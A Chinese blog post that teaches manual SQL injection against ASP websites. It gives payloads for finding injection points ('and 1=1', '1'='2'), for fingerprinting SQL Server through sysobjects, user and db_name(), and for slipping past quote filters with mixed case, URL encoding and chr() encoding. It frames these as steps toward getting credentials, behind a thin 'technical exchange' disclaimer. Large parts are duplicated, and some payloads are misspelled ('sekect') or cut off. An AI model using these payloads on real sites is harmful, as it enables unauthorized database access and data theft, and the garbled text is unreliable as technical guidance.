注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

Perfect-World

以無法為有法,以無限為有限!

 
 
 

日志

 
 

注入攻击升级篇:手工SQL注入  

2013-06-20 18:30:17|  分类: Internet |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

相比工具注入,手工注入存在很多的好处和灵活性。

一,判断sql数据库类型

构造语句:and exists (sekect * from sysobjects)如果显示正常说明是SQL server 数据库

二,查看网站对数据库的权限

构造语句:and user>0
构造语句:and exists (sekect * from sysobjects)如果显示正常说明是SQL server

三,查找注入点

abc.aspSQL语句:
HTTP://xxx.xxx.xxx/abc.asp?p=YY'(
附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY'abc.asp运行异常;
HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp
运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp
运行异常;
字符串型参数的判断通常abc.aspSQL语句:
select * from
表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。HTTP://xxx.xxx.xxx/abc.asp?p=YY'(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY'abc.asp运行异常;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp
运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp
运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

四:特殊情况

有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。

大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;

区分数据库服务器类型:

一般来说,ACCESSSQLSERVER是最常用的数据库服务器,尽管它们都支持TSQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。

利用数据库服务器的系统变量进行区分SQLSERVERuser,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:

HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名

HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;

有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
UNICODE
法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
ASCII
码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
区分数据库服务器类型:一般来说,ACCESSSQLSERVER是最常用的数据库服务器,尽管它们都支持TSQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
利用数据库服务器的系统变量进行区分SQLSERVERuser,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:  HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0
不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;

得到了网站使用的用户,和数据库名,接下来一定是来试探他的密码了,具体怎么做还要看大家对数据库和sql语句的了解了,我就不说了。

免责:此文纯属技术交流,读者的任何行为与本人无关。

  评论这张
 
阅读(761)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016